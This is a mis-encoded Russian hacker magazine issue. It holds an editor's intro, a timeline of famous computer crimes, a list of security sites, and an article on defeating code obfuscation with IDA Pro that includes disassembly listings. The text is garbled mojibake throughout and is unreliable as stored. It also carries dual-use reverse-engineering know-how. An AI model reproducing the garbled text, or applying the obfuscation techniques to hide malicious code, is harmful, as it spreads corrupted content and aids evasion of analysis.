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Ïðèâåòñòâóþ.
Âîîáùå-òî çäåñü äîëæíû áûòü óìíûå ìûñëè. Óì-
íûå ìûñëè â êîíòåêñòå íîìåðà: î ôèëîñîôèè
âçëîìà, åãî ñïðàâåäëèâîñòè, âëèÿíèè íà ýíòðîïèþ
Âñåëåííîé â öåëîì è çàêîííûõ àñïåêòàõ íåçàêîí-
íûõ äåÿíèé â ÷àñòíîñòè. Êîíå÷íî æå, íà ýòîé ñòðà-
íèöå òû íå íàéäåøü òàêèõ ìûñëåé. ß íå áóäó ïè-
ñàòü ïðî òî, ÷òî âçëîì — ýòî îáðàç ìûñëåé. Ïðî
òî, ÷òî âçëîì — ýòî ïðîôåññèÿ. Âçëîì — ýòî õîá-
áè, èñòî÷íèê äîõîäà, ñóáëèìàöèÿ ñåêñóàëüíîé
ýíåðãèè. Âçëîì, êàê è ëþáîå óäîâîëüñòâèå, íåçà-
êîíåí, àìîðàëåí è âåäåò ê îæèðåíèþ :). Ïîñêîëüêó
óìíûõ ìûñëåé íå áóäåò, ðàññêàæó-êà ïðî äèçàéí.

ß âèäåë îôîðìëåíèå íîìåðà áðóòàëüíûì. Íó,
ñàì ïîíèìàåøü. Êðîâü, îãîíü, æåëåçî, ÿäåðíûå
âçðûâû, öóíàìè è áîëüøèå áðîíèðîâàííûå ïîåçäà.
Íå ïîëó÷èëîñü :(. Êîëëåãè ãîâîðÿò ìíå, ÷òî âçëîì —
ýòî èíòåëëåêòóàëüíîå çàíÿòèå è ÷òî îòðàæåíî îíî
äîëæíî áûòü íàñòîëüêî æå èíòåëëåêòóàëüíî. Íó è
ëàäíî. Ëàáîðàòîðèÿ òàê ëàáîðàòîðèÿ. Íàøè íàó÷-
íûå ñîòðóäíèêè äåéñòâèòåëüíî íåïëîõî ïîñòàðà-
ëèñü, ÷òîáû íàïèñàòü ýòè ñòàòüè: êàæäàÿ èç íèõ —
ýòî îòäåëüíûé ëàáîðàòîðíûé ýêñïåðèìåíò. Êîíå÷-
íî, íè îäíà ìîðñêàÿ ñâèíêà â ïðîöåññå íå ïîñòðà-
äàëà ;). Âîò è âñå ìîè óìíûå ìûñëè íà ñåãîäíÿ. ß
ïîéäó îòêóøàþ ëèâåðíîãî çåëüöà è ïîïüþ ÷àÿ, à ÷è-
òàòåëþ ïðåäëàãàþ ïåðåëèñòíóòü ñòðàíèöó è îêó-
íóòüñÿ â ìèð ÷èñòåéøåãî àáñîëþòíîãî âÇËÎìà :)

Dr.Klouniz
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Ïåðâàÿ ñòû÷êà Êåâèíà Ìèòíèêà, õà-
êåðà ¹1 â ìèðå, ñ çàêîíîì. Ðàäè
øóòêè Êåâèí âçëîìàë êîìïüþòåð-
íóþ ñèñòåìó ñåâåðîàìåðèêàíñêîé
ïðîòèâîâîçäóøíîé îáîðîíû â Êîëî-
ðàäî. Ïîçæå îí ñîâåðøèë öåëûé
ðÿä êîìïüþòåðíûõ ïðåñòóïëåíèé. 
Â ÷èñëî åãî æåðòâ ïîïàëè: Motorola,
Novell, Nokia, Sun Microsystems è
Þæíî-Êàëèôîðíèéñêèé óíèâåðñè-
òåò. Èòîã íåðàäîñòíûé: Êåâèí ïðî-
âåë â òþðüìå 4,5 ãîäà.

Îðãàíû ÌÂÄ ñîçäàëè ñëóæáó «P»,
ïåðâîíà÷àëüíî äëÿ îáåñïå÷åíèÿ ðà-
äèîýëåêòðîííîé áåçîïàñíîñòè îïå-
ðàòèâíûõ ñëóæá îò ïðîñëóøèâàíèÿ,
íåçàêîííîãî ñúåìà èíôîðìàöèè,
ïåðåõâàòà ðàäèî÷àñòîò è ò.ä.

Â íîâîì Óãîëîâíîì Êîäåêñå
ïðåäóñ-ìàòðèâàåòñÿ îòâåòñòâåííîñòü
çà ïðåñòóïëåíèÿ, ñîâåðøåííûå ñ èñ-
ïîëüçîâàíèåì ñîâðåìåííûõ âûñîêèõ
òåõíîëîãèé: íåïðàâîìåðíûé äîñòóï ê
èíôîðìàöèè, ñîçäàíèå, èñïîëüçîâà-

íèå è ðàñïðîñòðàíåíèå âðåäîíîñíûõ
ïðîãðàìì äëÿ ÝÂÌ è ò.ï. — îïåðà-
òèâíî-ðîçûñêíàÿ äåÿòåëüíîñòü ïîä-
ðàçäåëåíèÿ ñëóæáû «Ð» íàïðàâëåíà
íà áîðüáó ñ ïîäîáíûìè ïðåñòóïëåíè-
ÿìè â ñôåðå âûñîêèõ òåõíîëîãèé.
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Ïåðâûé çíà÷èòåëüíûé ñúåçä õàêå-
ðîâ â Ëàñ-Âåãàñå — DEF CON.
Ïðîâîäèòñÿ ðåãóëÿðíî è ñîáèðàåò
áîëåå ïÿòè òûñÿ÷ ó÷àñòíèêîâ. Def
Con îáúåäèíÿåò íå òîëüêî òåõ,
êòî âçëàìûâàåò ñåòè, íî è òåõ,

êòî çàùèùàåò è ïîääåðæèâàåò
áåçîïàñíîñòü ñåòåé. Íà ñàéòå
www.defcon.org ìîæíî ïðî÷èòàòü
òåêñòû äîêëàäîâ ñ ïðîøåäøèõ
êîíôåðåíöèé, ïîñìîòðåòü âèäåî-
ìàòåðèàëû è ò.ä.

Ïèòåðñêèé êðýêåð Âëàäèìèð 
Ëåâèí (ìèêðîáèîëîã ïî îáðàçîâà-
íèþ) âçëîìàë ñèñòåìó àìåðèêàíñ-
êîãî CitiBank â Íüþ-Éîðêå, îòêóäà 
â òå÷åíèå äëèòåëüíîãî âðåìåíè ïå-
ðåâîäèë êðóïíûå ñóììû íà ðàçëè÷-
íûå ñ÷åòà. Ïî ïîäñ÷åòàì CitiBank,
õàêåð óñïåë ïîõèòèòü ïîðÿäêà 
$400 òûñ. Ñîòðóäíèêè ÔÁÐ ïðèïè-
ñàëè åìó åùå áîëüøå — $10 ìëí.
Çà ïðåñòóïëåíèå áûë ïðèãîâîðåí 
ê ïÿòè ãîäàì çàêëþ÷åíèÿ.

ììààøøèèííàà
ââððååììååííèè
ÌÛ ÍÅ ÏÐÅÒÅÍÄÓÅÌ ÍÀ ÇÂÀÍÈÅ ÒÂÎÅÉ ÝÍÖÈÊËÎÏÅÄÈÈ 
(ÍÀÌ ÝÒÎÃÎ È ÍÅ ÍÀÄÎ), ÒÎËÜÊÎ ÕÎÒÈÌ ÍÀÏÎÌÍÈÒÜ 
Î ÍÅÑÊÎËÜÊÈÕ ÂÅÑÜÌÀ ÇÀÍßÒÍÛÕ ÄÀÒÀÕ È ÔÀÊÒÀÕ, 
ÌÀËÎ ÊÎÌÓ ÈÇÂÅÑÒÍÛÕ |ÀÍÄÐÅÉ ÊÀÐÎËÈÊ (ANDRUSHA@REAL.XAKEP.RU)

ÕÀÊÅÐÛ ÍÀ ÐÓÁÅÆÅ ÂÅÊÎÂ

1981 1986

1993 1994



Ãýðè Ìàêêèííîí èç Âåëèêîáðèòàíèè
âçëîìàë 97 êîìïüþòåðîâ ïðàâèòåëü-
ñòâà ÑØÀ, íàíåñÿ óùåðá â $70 0000.
Îí óíè÷òîæèë íåêîòîðûå ôàéëû,
÷òî ïîâëèÿëî íà ðàáîòó 2 000 êîìïü-
þòåðíûõ ñèñòåì ìèíèñòåðñòâà îáî-
ðîíû ÑØÀ. Ìàêêèííîíó ãðîçèò ñðîê
äî 70-òè ëåò (îí ïîëó÷èò åãî, åñëè
áóäåò âûäàí àìåðèêàíöàì). Ñàìîå
çàáàâíîå, ÷òî, ïî ñëîâàì Ãàððè, âñå
âçëîìû îí ïðîâåë, ÷òîáû äîêàçàòü
ñóùåñòâîâàíèå èíîïëàíåòÿí.

Ñ÷åòà 40 ìèëëèîíîâ ïëàòåæíûõ êàðò
ðàçíûõ ñèñòåì ïîäâåðãëèñü îïàñíîñ-
òè â ðåçóëüòàòå âçëîìà. «Äûðà» áû-
ëà îáíàðóæåíà â ñèñòåìå áåçîïàñ-
íîñòè ïðîöåññèíãîâîãî öåíòðà êîì-
ïàíèè CardSystems Solutions Inc., êî-
òîðàÿ èìååò óñëóãó ïî îáñëóæèâà-
íèþ òðàíçàêöèé ïëàòåæíûõ ñèñòåì.
Â êîìïüþòåðíîé ñåòè ýòîé êîìïàíèè
áûë íàéäåí âèðóñ, êîòîðûé ïåðåõâà-
òûâàë ïåðåäàâàåìóþ èíôîðìàöèþ î
êàðòîäåðæàòåëÿõ 

ïïððîîããííîîçç ïïîîããîîääûû 
ääëëÿÿ õõààêêååððîîââ
www.void.ru
Äåòèùå ðîññèéñêîé êîìàí-
äû Team Void (îäíèìè èç
ïåðâûõ ñîñòàâèëè îïèñàíèå
òàêòèêè «ðàñïðåäåëåííûõ»
àòàê). Íà ñàéòå ïóáëèêóþòñÿ
ñòàòüè î ñóùåñòâóþùèõ óÿç-
âèìîñòÿõ â ïðîãðàììíîì
îáåñïå÷åíèè è îïåðàöèîí-
íûõ ñèñòåìàõ. Ïîñåòèòåëè
ñàéòà èìåþò äîñòóï ê áàçàì
âçëîìàííûõ ñàéòîâ.

www.securitylab.ru 
Öåëèêîì ïîñâÿùåí ïðîáëå-
ìå îáåñïå÷åíèÿ êîìïüþòåð-
íîé áåçîïàñíîñòè. Ñêàíåðû
óÿçâèìîñòåé è ïîðòîâ, ìå-
íåäæåðû ïàðîëåé, êîìïèëÿ-
òîðû, ñíèôåðû, ôàéðâîëû
è ò.ä. Íà ñàéòå òàêæå ïðåä-
ñòàâëåíà ðóññêàÿ âåðñèÿ
ïðîåêòà OWASP.org. Åæåäíåâ-
íî ïóáëèêóþòñÿ íîâîñòè î
«äûðàõ», îáíàðóæåííûõ â
ïðîãðàììíîì îáåñïå÷åíèè.

www.bugtrack.ru
Ðóññêèé BugTrack — îäèí
èç ñàìûõ ñòàðûõ è ïîïóëÿð-
íûõ ðóññêîÿçû÷íûõ ñåðâå-
ðîâ ïî áåçîïàñíîñòè. Íà
ñàéòå ñîáðàíû ìàòåðèàëû,
ïîñâÿùåííûå ïðîáëåìàì
îáåñïå÷åíèÿ áåçîïàñíîñòè
èíôîðìàöèîííûõ ñèñòåì.
Åñòü ïîñòîÿííî ðàñòóùàÿ
ïîäáîðêà ñòàòåé è êíèã.

www.security.nnov.ru
Àâòîðñêèé ïðîåêò ÇÀÐÀÇû,
ïîñâÿùåííûé èíôîðìàöè-
îííîé áåçîïàñíîñòè.
Èíòåðåñíû ñáîðíèê ñóùåñò-
âóþùèõ ýêñïëîéòîâ è íîâî-
ñòíàÿ ëåíòà, â êîòîðîé ïóá-
ëèêóþòñÿ ïîñëåäíèå íàé-
äåííûå óÿçâèìîñòè è îøèá-
êè â ïðîãðàììàõ.

Ãðîìêèé ñóäåáíûé ïðîöåññ ðàçûã-
ðûâàåòñÿ âîêðóã Ýðèêà Êîðëè (èç-
âåñòåí è êàê Ýììàíóýëü Ãîëä-
øòåéí) — îñíîâàòåëÿ è ðåäàêòîðà
ïîïóëÿðíîãî âî âñåì ìèðå õàêåðñ-
êîãî æóðíàëà «2600» (www.2600.org).
Ýðèê îáâèíÿëñÿ â òîì, ÷òî îïóáëè-
êîâàë íà ñâîåì ñàéòå èñõîäíèêè
ïðîãðàììû äëÿ âçëîìà çàùèòíîãî
êîäà DVD-äèñêîâ. Ïðîãðàììà èçâåñò-
íà êàê Decode Content Scrambling Sys-
tem (DeCSS). Ýðèê ïðîèãðàë äåëî...

Âçëîìàí ñåðâåð www.mail.ru, õîòÿ
ñëîæíî íàçâàòü ýòî âçëîìîì, òàê
êàê ïðîöåäóðà ïîëó÷åíèÿ ïàðîëÿ ê
ÿùèêó áûëà ïðîñòîé äî áåçîáðàçèÿ
è ïðàêòè÷åñêè íå òðåáîâàëà íèêà-
êèõ óìñòâåííûõ óñèëèé. Õàêåðû
âîñïîëüçîâàëèñü íåêîððåêòíî ñïðî-
åêòèðîâàííûì ìåõàíèçìîì ïåðåäà-
÷è çàáûòûõ ïàðîëåé. Ïðè îïðåäå-
ëåííîé ïîñëåäîâàòåëüíîñòè äåéñ-
òâèé ïàðîëü ìîæíî áûëî óâèäåòü
íåïîñðåäñòâåííî â êîäå ñàéòà.

Íà êîíôåðåíöèè DefCon, êîòîðàÿ
ïðîõîäèëà â Ëàñ-Âåãàñå, àìåðèêàí-
ñêèå âëàñòè çàäåðæàëè Äìèòðèÿ
Ñêëÿðîâà. Åãî îáâèíèëè â ðàçðà-
áîòêå ïðîãðàììû Advanced eBook
Processor, êîòîðàÿ ïîçâîëÿëà âçëà-
ìûâàòü çàùèòó «ýëåêòðîííûõ êíèã» —
ôàéëîâ ôîðìàòà eBook (ñîçäàííîãî
êîìïàíèåé Adobe). Îáâèíèòåëüíûé
èñê îò Adobe ñîäåðæàë ïÿòü ïóíê-
òîâ, ñóä âûíåñ ðåøåíèå î 25-òè ãî-
äàõ ëèøåíèÿ ñâîáîäû è øòðàôå íà

ñóììó áîëåå $2 ìëí. Ïðîãðàììèñò
âûðàçèë ïðîòåñò, ïîñëå ÷åãî îáâè-
íåíèÿ áûëè ïåðåíåñåíû íà åãî ðà-
áîòîäàòåëÿ — ðîññèéñêóþ êîìïà-
íèþ «Ýëêîìñîôò».

2000 2000 2001
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2005



êàê ããîâîðÿò ììåäèêè, ÑÏÈÄ — ýòî åùå íå
ïðèãîâîð. Òî æå ñàìîå ñ îáôóñêàöèåé. Äàëåêî íå
êàæäûé îáôóñêàòîð èñïîëüçóåò ïðîäâèíóòûå ìå-
òîäèêè «çàïóòûâàíèÿ», ïîýòîìó íå íóæíî âûñàæè-
âàòüñÿ íà èçìåíó, êîãäà ñëûøèøü ýòî ñëîâî.

Â ïðîñòåéøåì ñëó÷àå ïîëèìîðôíûé ãåíåðà-
òîð ïðîñòî «íàêà÷èâàåò» ïðîãðàììó êó÷åé íè÷åãî
íå çíà÷àùèõ êîìàíä òèïà nop, xchg reg,reg, íèêîã-
äà íå âûïîëíÿþùèìèñÿ ïåðåõîäàìè òèïà xor
reg,reg/jnz junk, ãäå xor — çíà÷èìàÿ êîìàíäà, à junk —
«ìåðòâûé êîä».

Íå ñëèøêîì ñëîæíûé ñêðèïò äëÿ IDA PRO
íàéäåò âñå ÿâíî íåçíà÷èìûå êîìàíäû è ïîìåòèò
èõ êàê «ìóñîðíûå» èëè æå âîâñå óäàëèò. Èëüôàê
óæå äàâíî íàïèñàë highlighter — ïëàãèí, ïðåäíàç-
íà÷åííûé êàê ðàç äëÿ ýòîé öåëè. Ðàñïðîñòðàíÿåò-
ñÿ â èñõîäíûõ òåêñòàõ íà áåñïëàòíîé îñíîâå:
www.hexblog.com/ida_pro/files/highlighter.zip.

Âïðî÷åì, ýòà áåñïëàòíîñòü âåñüìà óñëîâíà.
×òîáû ñêîìïèëèðîâàòü ïëàãèí, íóæåí IDA SDK,
ïðè÷åì íå êàêîé-íèáóäü, à òîëüêî ïîñëåäíåé âåð-
ñèè. Äðóãèìè ñëîâàìè, áîëüøèíñòâó ïîëüçîâàòå-
ëåé IDA Pro íå óäàñòñÿ ñêîìïèëèðîâàòü åãî, íî íå
ñòîèò âïàäàòü â ðàññòðîéñòâî: òî÷íî òàêóþ æå
øòóêó ìîæíî ðåàëèçîâàòü è ñàìîñòîÿòåëüíî, èñ-
ïîëüçóÿ ÿçûê ñêðèïòîâ, âñòðîåííûé â IDA Pro. Ïî-
òðàòèøü áóêâàëüíî ïîë÷àñà (ñàì ÿçûê ïîäðîáíî
îïèñàí â êíèãå «Îáðàç ìûøëåíèÿ — IDA PRO», åå
ýëåêòðîííóþ âåðñèþ ìîæíî áåñïëàòíî ñêà÷àòü ñ
ñåðâåðà ftp://nezumi.org.ru).

áîëåå ññëîæíûå îîáôóñêàòîðû «ïåðåìåøèâà-
þò» êîä, çàêðó÷èâàÿ ïîòîê óïðàâëåíèÿ â çàïóòàí-
íóþ ñïèðàëü óñëîâíûõ/áåçóñëîâíûõ ïåðåõîäîâ,
èñïîëüçóþùèõ òåõíèêó «ïåðåêðûòèÿ» êîìàíä. Íå-
êîòîðûå áàéòû ïðèíàäëåæàò ñðàçó äâóì, à â íåêî-
òîðûõ ñëó÷àÿõ è òðåì (!) ìàøèííûì èíñòðóêöèÿì,
÷òî «îñëåïëÿåò» äèçàññåìáëåðû, çàñòàâëÿÿ èõ ãå-
íåðèðîâàòü íåïîëíûé è íåïðàâèëüíûé ëèñòèíã.

Îäíàêî â èíòåðàêòèâíîì ðåæèìå (õâàëà IDA
Pro) âñå-òàêè ìîæíî äèçàññåìáëèðîâàòü êîä, íî

î÷åíü óæ óòîìèòåëüíî. Ëó÷øå âîñïîëüçîâàòüñÿ
òðàññåðîì, ãåíåðèðóþùèì ëèñòèíã ðåàëüíî âû-
ïîëíÿåìûõ ìàøèííûõ êîìàíä. Çàîäíî èçáàâëÿåì-
ñÿ îò ÷àñòè ìóñîðà è «ìåðòâîãî» êîäà.

Îáðàòè âíèìàíèå íà êîìàíäó «043401Dh:jmp
short loc_434013+2», ïðûãàþùóþ ïî àäðåñó
434013h+2h == 434015h, òî åñòü â ñåðåäèíó èí-
ñòðóêöèè 434013h:seto bl. Èìåííî ÷òî â ñåðåäèíó!
Ñ òî÷êè çðåíèÿ äèçàññåìáëåðà (äàæå òàêîãî ïðî-
äâèíóòîãî, êàê IDA Pro), êîìàíäà ÿâëÿåòñÿ «àòî-
ìàðíîé» ñòðóêòóðíîé åäèíèöåé, òî åñòü íåäåëè-
ìîé. Íà ñàìîì æå äåëå âñÿêàÿ ìàøèííàÿ èíñòðóê-
öèÿ ñîñòîèò èç ïîñëåäîâàòåëüíîñòè áàéò è ìîæåò
áûòü âûïîëíåíà ñ ëþáîãî ìåñòà! Âî âñÿêîì ñëó-
÷àå, x86-ïðîöåññîðû íå òðåáóþò âûðàâíèâàíèÿ êî-

ÎÁÔÓÑÊÀÖÈß È ÅÅ ÏÐÅÎÄÎËÅÍÈÅ
ÍÅÑÊÎËÜÊÎ ËÅÒ ÍÀÇÀÄ, ÊÎÃÄÀ ÊÈÁÅÐÂÎÉÍÛ ÊÀÇÀËÈÑÜ ÎÊÎÍ×ÅÍÍÛÌÈ È ÕÀÊÅÐÛ
ÏÎËÎÌÀËÈ ÂÑÅ È ÂÑß, ÏÐÎÃÐÀÌÌÈÑÒÛ ÍÅÎÆÈÄÀÍÍÎ ÏÐÈÌÅÍÈËÈ ÌÎÙÍÎÅ
ÎÐÓÆÈÅ ÎÁÔÓÑÊÀÖÈÈ, ÑÎÇÄÀÍÍÎÅ ÕÀÊÅÐÀÌÈ È ÒÅÏÅÐÜ ÍÀÏÐÀÂËÅÍÍÎÅ ÏÐÎÒÈÂ
ÍÈÕ ÆÅ. ÌÅÒÎÄÈÊ ÏÐÎÒÈÂÎÑÒÎßÍÈß ÍÀ ÑÅÃÎÄÍßØÍÈÉ ÄÅÍÜ ÍÅ ÑÓÙÅÑÒÂÓÅÒ, 
ÍÎ ÏÅÐÂÛÅ ØÀÃÈ Â ÝÒÎÌ ÍÀÏÐÀÂËÅÍÈÈ ÓÆÅ ÑÄÅËÀÍÛ |ÊÐÈÑ ÊÀÑÏÅÐÑÊÈ ÀÊÀ ÌÛÙÚÕ

ììèèêêññòòóóððàà 
îîòò õõààêêååððîîââ

Âíåøíèé âèä àíàëèçàòîðà LOCO

ààííààëëèèççààòòîîðð 
LLOOCCOO
ÑÎÇÄÀÍ ÒÐÎÉÊÎÉ ÌÀÃÎÂ: MATIAS MAD-
OU, LUDO VAN PUT È KOEN DE BOSSCHERE.
ßÂËßÅÒÑß ÏÐÀÊÒÈ×ÅÑÊÈ ÅÄÈÍÑÒÂÅÍ-
ÍÛÌ ÄÎÑÒÓÏÍÛÌ ÈÍÑÒÐÓÌÅÍÒÎÌ. ÄËß
ÏÐÀÊÒÈ×ÅÑÊÎÉ ÐÀÁÎÒÛ ÎÍ ÍÅÏÐÈÃÎ-
ÄÅÍ È ÁÎËÜØÅ ÍÀÏÎÌÈÍÀÅÒ ÈÃÐÓØÊÓ,
ÑÒÎßÙÓÞ ÒÎÃÎ, ×ÒÎÁÛ ÏÎÂÎÇÈÒÜÑß Ñ ÍÅÉ.

ÈÑÕÎÄÍÛÉ ÊÎÄ (ÂÌÅÑÒÅ Ñ ÄÎÊÓÌÅÍÒÀ-
ÖÈÅÉ È ÊÓ×ÅÉ ÈÍÒÅÐÅÑÍÛÕ ÑÒÀÒÅÉ ÍÀ
ÒÅÌÓ [ÄÅ]ÎÁÔÓÑÊÀÖÈÈ) ÌÎÆÍÎ ÁÅÑÏËÀÒ-
ÍÎ ÑÊÀ×ÀÒÜ Ñ ÎÔÈÖÈÀËÜÍÎÃÎ ÑÀÉÒÀ
DIABLO (www.elis.ugent.be/diablo/?Q=obfuscation).
ÏÐÀÂÄÀ, ÎÍ ÁÓÄÅÒ ÐÀÁÎÒÀÒÜ ÒÎËÜÊÎ
ÏÎÄ UNIX.

8 | ËÀÁÎÐÀÒÎÐÈß ÂÇËÎÌÀ

ÇÀÃËßÍÈ ÍÀ ÍÀØ ÔÎÐÓÌ 

FORUM.XAKEP.RU/FORUM.ASP?FORUMID=17 
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äà. Äðóãèìè ñëîâàìè, íå ñóùåñòâóåò «êîìàíä» —
ñóùåñòâóþò òîëüêî áàéòû. Åñëè íà÷àòü âûïîëíå-
íèå èíñòðóêöèè íå ñ ïåðâîãî áàéòà, ïîëó÷èì ñîâ-
ñåì äðóãóþ êîìàíäó! Ê ñîæàëåíèþ, IDA Pro íå ïî-
çâîëÿåò óçíàòü êàêóþ. ×òîáû âûïîëíèòü ïåðåõîä
«043401Dh:jmp short loc_434013+2», íåîáõîäèìî
ïîäâåñòè êóðñîð ê ìåòêå loc_434013 è íàæàòü <U>
(òàê ìû «ðàñêðîøèì» äèçàññåìáëåðíûé êîä íà
áàéòû), à ïîñëå ïåðåéòè ïî àäðåñó 434015h è íà-
æàòü <C>, òåì ñàìûì ïðåâðàòèâ áàéòû â äèçàñ-
ñåìáëåðíûé êîä.

Íà ìåñòå seto bl âîçíèêëà ïàðà èíñòðóêöèé
jmp loc_43401F/std. Êàêîé èç äâóõ ëèñòèíãîâ ïðà-
âèëüíûé? Ïî îòäåëüíîñòè — íè òîò, íè äðóãîé.
Îíè ñòàíîâÿòñÿ «ïðàâèëüíûìè» òîëüêî âäâîåì!
Îäíàêî óäåðæàòü ýòè ïîäðîáíîñòè â ãîëîâå íåðå-
àëüíî, à IDA Pro íå ïîçâîëÿåò áûñòðî ïåðåêëþ÷à-
òüñÿ ìåæäó äâóìÿ âàðèàíòàìè. Îñòàåòñÿ çàãîíÿòü
«àëüòåðíàòèâíûé» ëèñòèíã â êîììåíòàðèè. Åñëè
îäíà è òà æå ìàøèííàÿ êîìàíäà èìååò òðè è áîëåå
«òî÷åê âõîäà», òî êîììåíòàðèè óæå íå ñïàñàþò è
âîçíèêàåò ïóòàíèöà, âûíóæäàþùàÿ èñïîëüçîâàòü
âìåñòî äèçàññåìáëåðà òðàññåð.

èçîùðåííûå îîáôóñêàòîðû îòñëåæèâàþò çà-
âèñèìîñòè ïî äàííûì, âíåäðÿÿ îñìûñëåííûå èí-
ñòðóêöèè ñ «íóëåâûì ýôôåêòîì». Ïîÿñíèì íà êîí-
êðåòíîì ïðèìåðå. Äîïóñòèì, îáôóñêàòîðó âñòðå-
òèëàñü êîíñòðóêöèÿ:

îðèãèíàëüíûé êêîä ääî îîáôóñêàöèè
PUSH EAX ; ïîñëåäíåå îáðàùåíèå ê eax

MOV EAX,EBX ; ðåèíèöèàëèçàöèÿ eax

Ëåãêî ïîêàçàòü, ÷òî ìåæäó ïîñëåäíèì îáðàùåíè-
åì ê eax è åãî ðåèíèöèëèçàöèåé ìîæíî êàê óãîäíî
ìîäèôèöèðîâàòü ðåãèñòð eax áåç óùåðáà äëÿ âû-
ïîëíåíèÿ ïðîãðàììû, ïîñêîëüêó ëþáûå îïåðàöèè
ïðèñâîåíèÿ âñå ðàâíî áóäóò ïåðåêðûòû êîìàíäîé
mov eax,ebx.

Òàêæå îáôóñêàòîðû ìîãóò âðåìåííî ñîõðà-
íÿòü ðåãèñòð íà ñòåêå, à çàòåì, ââîëþ «ïîèçìûâàâ-
øèñü» íàä íèì, âîññòàíàâëèâàòü ïðåæíåå çíà÷åíèå.

Êîìàíäà MOV EAX,EBB907EBh íà ïåðâûé
âçãëÿä âûãëÿäèò «çíà÷èìîé», íî íà ñàìîì äåëå
ýòî «ìóñîð», íåéòðàëèçóåìûé êîìàíäàìè push
eax/pop eax. Ïî ñóòè, âåñü ýòîò êîíãëîìåðàò ïðîèç-
âîäèò íóëåâîé ýôôåêò, òî åñòü ÿâëÿåòñÿ ñîâåð-
øåííî áåçäåéñòâóþùèì êîäîì. Òàê ÷òî äåëàòü âû-
âîä î «çíà÷èìîñòè» êîìàíä íóæíî ñ î÷åíü áîëü-
øîé îñòîðîæíîñòüþ. Ïîêà íå áóäåò äîêàçàíî, ÷òî
äàííûé êóñîê êîäà äåéñòâèòåëüíî ñîçäàåò êàêîé-
òî ýôôåêò, îí äîëæåí ñ÷èòàòüñÿ «ìóñîðîì» ïî
óìîë÷àíèþ.

íåêîòîðûå îîáôóñêàòîðû ëþáÿò âíåäðÿòü
ïîäëîæíûå ðàñøèôðîâùèêè, êîòîðûå ðàñøèôðî-
âûâàþò è òóò æå çàøèôðîâûâàþò ïðîèçâîëüíûå
ôðàãìåíòû ïàìÿòè.

Ðàçóìååòñÿ, âñå ýòè äåéñòâèÿ âíîñÿò ïîáî÷-
íûå ýôôåêòû (êàê ìèíèìóì, âîçäåéñòâóþò íà
ôëàãè), è îáôóñêàòîðó ïðèõîäèòñÿ âûïîëíÿòü ìíî-
æåñòâî äîïîëíèòåëüíûõ ïðîâåðîê, ÷òîáû óáåäèòü-

ñÿ, ÷òî ýòè ïîáî÷íûå äåéñòâèÿ íå îêàæóò ðîêîâîãî
âîçäåéñòâèÿ íà çàùèùàåìóþ ïðîãðàììó. Ðàçðà-
áîòêà êà÷åñòâåííîãî è íàäåæíîãî çàïóòûâàòåëÿ —
ñëîæíàÿ èíæåíåðíàÿ çàäà÷à, íî ïîòðà÷åííîå âðå-
ìÿ ñòîèò òîãî. Áåñïîëåçíîñòü «èíñòðóêöèé ñ íóëå-

âûì ýôôåêòîì» óæå íå ðàñïîçíàåòñÿ âèçóàëüíî, 
è îáû÷íûé òðàññåð òóò íè÷åì íå ïîìîæåò. Íåîáõî-
äèìî òðàññèðîâàòü íå òîëüêî ïîòîê óïðàâëåíèÿ, íî
è ïîòîê äàííûõ, òî åñòü îòñëåæèâàòü ðåàëüíûå èç-
ìåíåíèÿ çíà÷åíèé ðåãèñòðîâ/ÿ÷ååê ïàìÿòè, äëÿ ÷å-

ëëèèññòòèèííããèè

Ëèñòèíã 11. ÊÊîä, ççàìóñîðåííûé îîáôóñêàòîðîì, ââ êêîòîðîì èèìååòñÿ ââñåãî ëëèøü îîäíà ïïîòåíöèàëüíî
çíà÷èìàÿ êêîìàíäà —— xxor eeax,eax
or ch, ch ; «ìóñîð», íå âîçäåéñòâóþùèé íà ðåãèñòð ch, 

íî âîçäåéñòâóþùèé íà ðåãèñòð ôëàãîâ, îäíàêî ýòî âîçäåéñòâèå ïåðåêðûâàåòñÿ 

ïîñëåäóþùèì xor

xor eax,eax ; ïîòåíöèàëüíî çíà÷èìàÿ êîìàíäà

seto bl ; «ìóñîð», óñòàíàâëèâàþùèé bl â 1, åñëè åñòü 

ïåðåïîëíåíèå, à ïîñëå xor åãî âñåãäà íåò

repnejnz short loc_43409A ; «ìóñîð», ïåðåäàþùèé óïðàâëåíèå, åñëè íå íîëü, 

íî ïîñëå xor ôëàã íóëÿ âñåãäà óñòàíîâëåí, ïëþñ áåññìûñëåííûé ïðåôèêñ repne

rep jnp short loc_43408D ; «ìóñîð», ïåðåäàþùèé óïðàâëåíèå, åñëè íå÷åò, 

íî ïîñëå xor ôëàã ÷åòíîñòè âñåãäà óñòàíîâëåí

jo short loc_434094 ; «ìóñîð», ïåðåäàþùèé óïðàâëåíèå, åñëè ôëàã 

ïåðåïîëíåíèÿ óñòàíîâëåí, à îí ñáðîøåí xor

xchg ebx,ebx ; «ìóñîð», îáìåí ðåãèñòðîâ ebx ìåñòàìè

Ëèñòèíã 22. ÔÔðàãìåíò ëëèñòèíãà, ññãåíåðèðîâàííûé IIDA PPro. ÄÄåìîíñòðàöèÿ òòåõíèêè ««ïåðåêðûòèÿ»
ìàøèííûõ êêîìàíä, èèñïîëüçóåìîé îîáôóñêàòîðàìè
.adata:0043400E loc_43400E: ; CODE XREF: .adata:00434023j

.adata:0043400E ; .adata:loc_43401A j

.adata:0043400E mov eax, 0EBB907EBh

.adata:00434013

.adata:00434013 loc_434013: ; CODE XREF: .adata:loc_43401Dj

.adata:00434013 seto bl ; ïðûæîê â ñåðåäèíó êîìàíäû

.adata:00434016 or ch, bh

.adata:00434018 jmp short loc_434025

.adata:00434018

.adata:0043401A loc_43401A: ; CODE XREF: .adata:00434009j

.adata:0043401A repne jmp short near ptr loc_43400E+4

.adata:0043401D

.adata:0043401D loc_43401D: ; CODE XREF: .adata:loc_43400Cj

.adata:0043401D jmp short near ptr loc_434013+2

Ëèñòèíã 33. ««Âñêðûòèå» ííàëîæåííîé êêîìàíäû
.adata:0043400E unk_43400E db 0B8h ; ¬   ; CODE XREF: .adata:loc_434023j

.adata:0043400F db 0EBh ; û

.adata:00434010 db 7

.adata:00434011 db 0B9h ; |

.adata:00434012 loc_434012: ; CODE XREF: .adata:loc_43401Aj

.adata:00434012 jmp short loc_434023

.adata:00434014

.adata:00434014 nop

.adata:00434015

.adata:00434015 loc_434015: ; CODE XREF:.adata:loc_43401Dj

.adata:00434015 jmp short loc_43401F ; ïðûæîê ñþäà

.adata:00434017

.adata:00434017 std

.adata:00434018 jmp short loc_434025

.adata:0043401A

.adata:0043401A loc_43401A: ; CODE XREF: .adata:00434009j

